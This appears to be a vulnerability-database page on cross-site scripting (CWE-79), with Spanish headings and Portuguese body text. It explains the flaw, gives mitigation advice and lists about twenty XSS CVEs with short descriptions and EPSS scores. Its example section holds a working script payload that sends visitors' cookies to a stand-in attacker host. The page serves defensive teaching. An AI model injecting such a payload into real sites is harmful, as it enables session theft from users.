Fallos del tipo CWE-79

28.554 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2016-6343MEDIUMJBoss BPM Suite 6 is vulnerable to a reflected XSS via dashbuilder. Remote attackers can entice authenticated users that have privileges to EPSS 1.7%CVE-2016-9466—Nextcloud Server before 10.0.1 & ownCloud Server before 9.0.6 and 9.1.2 suffer from Reflected XSS in the Gallery application. The gallery apEPSS 1.7%CVE-2022-2219—Unyson < 2.7.27 - Reflected Cross-Site ScriptingEPSS 1.7%CVE-2021-32609—XSS vulnerability on Explore pageEPSS 1.7%CVE-2022-1290CRITICALStored XSS in "Name", "Group Name" & "Title" in polonel/trudeskEPSS 1.7%CVE-2024-24816MEDIUMCross-site scripting (XSS) vulnerability in samples with enabled the preview featureEPSS 1.7%CVE-2021-25085—WOOF - Products Filter for WooCommerce < 1.2.6.3 - Reflected Cross-Site ScriptingEPSS 1.7%CVE-2020-0903MEDIUMA cross-site-scripting (XSS) vulnerability exists when Microsoft Exchange Server does not properly sanitize a specially crafted web request EPSS 1.6%CVE-2022-0250—Redirection for Contact Form 7 < 2.5.0 - Reflected Cross-Site ScriptingEPSS 1.6%CVE-2017-6654—A vulnerability in the web-based management interface of Cisco Unified Communications Manager 10.5 through 11.5 could allow an unauthenticatEPSS 1.6%CVE-2024-57686CRITICALA Cross Site Scripting (XSS) vulnerability was found in /landrecordsys/admin/contactus.php in PHPGurukul Land Record System v1.0, which alloEPSS 1.6%CVE-2023-1880HIGHCross-site Scripting (XSS) - Reflected in thorsten/phpmyfaqEPSS 1.6%CVE-2023-24508HIGHRemote Code Execution in Baicells RTS PlatformEPSS 1.6%CVE-2022-27777—A XSS Vulnerability in Action View tag helpers >= 5.2.0 and < 5.2.0 which would allow an attacker to inject content if able to control inputEPSS 1.6%CVE-2019-0556MEDIUMA cross-site-scripting (XSS) vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web requesEPSS 1.6%CVE-2016-9472—Revive Adserver before 3.2.5 and 4.0.0 suffers from Reflected XSS. The Revive Adserver web installer scripts were vulnerable to a reflected EPSS 1.6%CVE-2021-24214—OpenID Connect Generic Client 3.8.0-3.8.1 - Reflected Cross Site Scripting (XSS) via Login ErrorEPSS 1.6%CVE-2018-3830—Kibana versions 5.3.0 to 6.4.1 had a cross-site scripting (XSS) vulnerability via the source field formatter that could allow an attacker toEPSS 1.6%CVE-2019-15071—Openfind MAIL2000 Webmail Pre-Auth Cross-Site ScriptingEPSS 1.6%CVE-2022-2796MEDIUMCross-site Scripting (XSS) - Stored in pimcore/pimcoreEPSS 1.6%